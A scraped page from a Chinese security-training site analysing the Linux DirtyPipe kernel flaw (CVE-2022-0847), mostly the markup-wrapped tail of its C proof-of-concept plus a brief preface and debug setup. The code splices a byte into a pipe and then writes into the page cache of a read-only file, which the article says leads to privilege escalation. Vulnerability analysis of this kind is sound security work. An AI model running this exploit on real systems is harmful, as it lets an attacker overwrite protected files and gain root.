file\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eend_offset\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Est\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Est_size\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efprintf\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estderr\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"Sorry, cannot enlarge the file\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* create the pipe with all flags initialized with\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003EPIPE_BUF_FLAG_CAN_MERGE *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Eint\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E2\u003C\u002Fspan\u003E];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eprepare_pipe\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* splice one byte from before the specified offset into the\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Epipe; this will add a reference to the page cache, but\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Esince copy_page_to_iter_pipe() does not initialize the\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\"flags\", PIPE_BUF_FLAG_CAN_MERGE is still set *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E--\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eoffset\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Essize_t\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enbytes\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Esplice\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efd\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eoffset\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ENULL\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enbytes\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E<\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eperror\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"splice failed\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enbytes\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efprintf\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estderr\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"short splice\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* the following write will not create a new pipe_buffer, but\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Ewill instead write into the page cache, because of the\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E   \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003EPIPE_BUF_FLAG_CAN_MERGE flag *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enbytes\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ewrite\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata_size\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enbytes\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E<\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eperror\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"write failed\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E ((\u003Cspan class=\"cm-variable-3\" style=\"box-sizing: border-box; color: rgb(0, 136, 85);\"\u003Esize_t\u003C\u002Fspan\u003E)\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enbytes\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E<\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata_size\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efprintf\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Estderr\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"short write\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_FAILURE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eprintf\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"It worked!\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EEXIT_SUCCESS\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E",metaDescription:c,metaKeywords:b}},systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"891156e99b77072fe4445cab30e2edc5",isMobileDevice:false}}("DirtyPipe(CVE-2022-0847)漏洞分析","漏洞分析,CVE-2022-0847,Linux内核","CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。"))

DirtyPipe(CVE-2022-0847)漏洞分析

2022-12-28 15:44
6001

前言

CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。

调试环境

  • ubuntu 20.04

  • Linux-5.16.10

